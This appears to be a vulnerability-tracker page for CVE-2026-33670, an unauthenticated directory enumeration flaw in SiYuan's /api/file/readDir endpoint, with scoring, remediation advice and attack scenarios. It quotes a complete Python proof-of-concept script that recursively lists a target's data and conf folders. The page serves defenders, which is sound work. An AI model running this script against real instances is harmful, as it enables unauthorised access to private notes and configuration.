Skip to main content

Python CVE-2026-33670

CRITICAL
Path Traversal (CWE-22)
2026-03-25 https://github.com/siyuan-note/siyuan
9.8
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send POST request to /api/file/readDir
  2. Exploit
    Traverse directory structure without authentication
  3. Execution
    Enumerate all notebook document file names
  4. Impact
    Access sensitive file contents

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Remote unauthenticated attacker can exploit default SiYuan installations. The /api/file/readDir endpoint is unprotected and allows directory traversal via POST requests without authentication. No special configuration or user interaction required.

Impact

This vulnerability presents critical real-world risk with a CVSS score of 9.8 (Critical) due to network-based attack vector (AV:N), low complexity (AC:L), and no authentication requirements (PR:N). The CVSS vector indicates high impact to confidentiality, integrity, and availability (C:H/I:H/A:H), though the immediate exploitation primarily affects confidentiality through information disclosure. A working proof-of-concept exploit is publicly available on GitHub, significantly lowering the barrier to exploitation. The vulnerability is fully automatable, requiring only HTTP POST requests without user interaction (UI:N), making it trivial for attackers to scan and exploit exposed SiYuan instances. While not currently listed in CISA KEV, the combination of public POC, no authentication requirement, and potential for chaining with file read vulnerabilities to extract sensitive documents (notebooks, configuration files, API keys) makes this a genuine high-priority concern for any organization running SiYuan, particularly if exposed to untrusted networks. The technical impact enables complete reconnaissance of the file structure, a critical first step in data exfiltration attack chains.

Exploit ScenarioDerived

An unauthenticated remote attacker scans the internet for exposed SiYuan instances and identifies accessible targets via default ports or known deployment patterns. Using the publicly available Python POC or custom scripts, the attacker sends POST requests to /api/file/readDir with paths like 'data', 'conf', and 'data/plugins' to recursively enumerate all notebook directories, configuration files, and plugin structures. With the complete directory map obtained, the attacker chains this with other file reading vulnerabilities (as mentioned in the impact statement) to exfiltrate sensitive documents, API keys stored in configuration files, or proprietary knowledge base content, achieving complete data breach without ever authenticating to the system.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 25, 2026

SiYuan, a note-taking application written in Go, contains an unauthenticated directory traversal vulnerability in its /api/file/readDir endpoint. The vulnerability allows remote attackers without authentication to enumerate the entire directory structure of notebooks, configuration folders, plugins, and resource directories, which can be chained with file reading vulnerabilities for arbitrary document access. A working Python proof-of-concept exploit is publicly available, demonstrating recursive directory enumeration of data/ and conf/ directories.

RemediationAI

Users should immediately consult the official SiYuan security advisory at https://github.com/siyuan-note/siyuan/security/advisories/GHSA-xmw9-6r43-x9ww for patched versions and upgrade to the latest secure release as soon as available. Until patching is complete, implement network-level access controls to restrict SiYuan API endpoints to trusted IP ranges only, deploy the application behind an authenticating reverse proxy with mandatory authentication for all /api/* paths, or disable remote access entirely if only local usage is required. Organizations should audit logs for suspicious POST requests to /api/file/readDir with various path parameters (especially 'data', 'conf', 'plugins') originating from unexpected sources. Consider implementing application-level authentication tokens or API keys if the software supports them, and review all other API endpoints for similar missing authentication issues.

Affected Packages

go github.com/siyuan-note/siyuan/kernel no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects the SiYuan kernel (github.com/siyuan-note/siyuan/kernel), a Go-based backend for a note-taking and personal knowledge management system. The flaw is classified as CWE-22 (Improper Limitation of a Pathname to a Restricted Directory), commonly known as path traversal. The /api/file/readDir API endpoint accepts JSON POST requests with a 'path' parameter and returns directory listings without validating authentication tokens or restricting traversal scope. The endpoint processes requests with arbitrary paths (e.g., 'data', 'conf', 'data/plugins') and recursively exposes file and directory names, isDir flags, and complete structural metadata. This represents a failure to implement proper authorization checks on sensitive file system operations exposed through a web API.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
SUSE CRITICAL

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionGitHub Advisory

Details

The /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.

PoC

python
#!/usr/bin/env python3
"""POC: SiYuan /api/file/readDir 未鉴权目录遍历"""
import requests, json, sys

def poc(target):
    base = target.rstrip("/")
    url = f"{base}/api/file/readDir"

    def read_dir(path, depth=0, max_depth=4):
        try:
            r = requests.post(url, json={"path":path},
                            headers={"Content-Type":"application/json"}, timeout=10)
            data = r.json()
        except Exception as e:
            return
        if data.get("code") != 0:
            return

        entries = data.get("data") or []
        for entry in entries:
            name = entry.get("name","")
            if name.startswith("."):
                continue
            icon = "📁" if entry.get("isDir") else "📄"
            indent = "  " * depth
            print(f"  {indent}{icon} {name}")

            if entry.get("isDir") and depth < max_depth:
                read_dir(f"{path}/{name}", depth+1, max_depth)
# 遍历根目录
    print("[+] 漏洞存在!开始遍历\n")
    print("  📂 data/")
    read_dir("data", max_depth=2)

    print("\n  📂 conf/")
    read_dir("conf", max_depth=2)
# 保存
    try:
        r = requests.post(url, json={"path":"data"},
                        headers={"Content-Type":"application/json"}, timeout=10)
        with open("readdir.json","w",encoding="utf-8") as f:
            json.dump(r.json(), f, ensure_ascii=False, indent=2)
        print(f"\n[+] 根目录数据已保存: readdir.json")
    except: pass

if __name__ == "__main__":
    poc(sys.argv[1] if len(sys.argv)>1 else "http://172.18.40.184")

Impact

Directory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.

资源文件夹

<img width="943" height="794" alt="image" src="https://github.com/user-attachments/assets/c97fcc42-183e-4c83-8a27-cf99bf805038" />

插件文件夹

<img width="826" height="921" alt="image" src="https://github.com/user-attachments/assets/925d4512-e4c0-4b3b-bf96-5639ec572705" />

conf文件夹

<img width="730" height="834" alt="image" src="https://github.com/user-attachments/assets/2a0c23b9-2d87-4421-977d-687f47726741" />

Executive ViewAI

Why It Matters

SiYuan note-taking application deployments face immediate risk of unauthorized data exposure through unauthenticated directory enumeration. Attackers can remotely discover and access sensitive notebooks, configurations, and documents without credentials, potentially exposing confidential business information, intellectual property, and user data stored within the application.

Business Impact: Severe
Compensating Controls
  1. Implement WAF rules to block or rate-limit /api/file/readDir endpoint requests. 2) Deploy network segmentation restricting SiYuan access to internal networks only, blocking external/untrusted access. 3) If applicable, disable or isolate SiYuan deployments until patch is available. 4) Implement reverse proxy authentication layer requiring credentials before reaching application. 5) Monitor access logs for suspicious /api/file/readDir requests and recursive directory enumeration patterns.

Threat Intelligence Overview

EPSS Score
0.1%
Top 80% exploitable
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment POC (1) Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

69
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Affected Products (CPE)GitHub Advisory

pkg:go/github.com_siyuan-note_siyuan_kernel

Related Vulnerabilities in SiYuan Path Traversal and Information Disclosure

View all 2

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
openSUSE Leap 15.6 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP5 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP6 Fixed
openSUSE Leap 15.5 Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy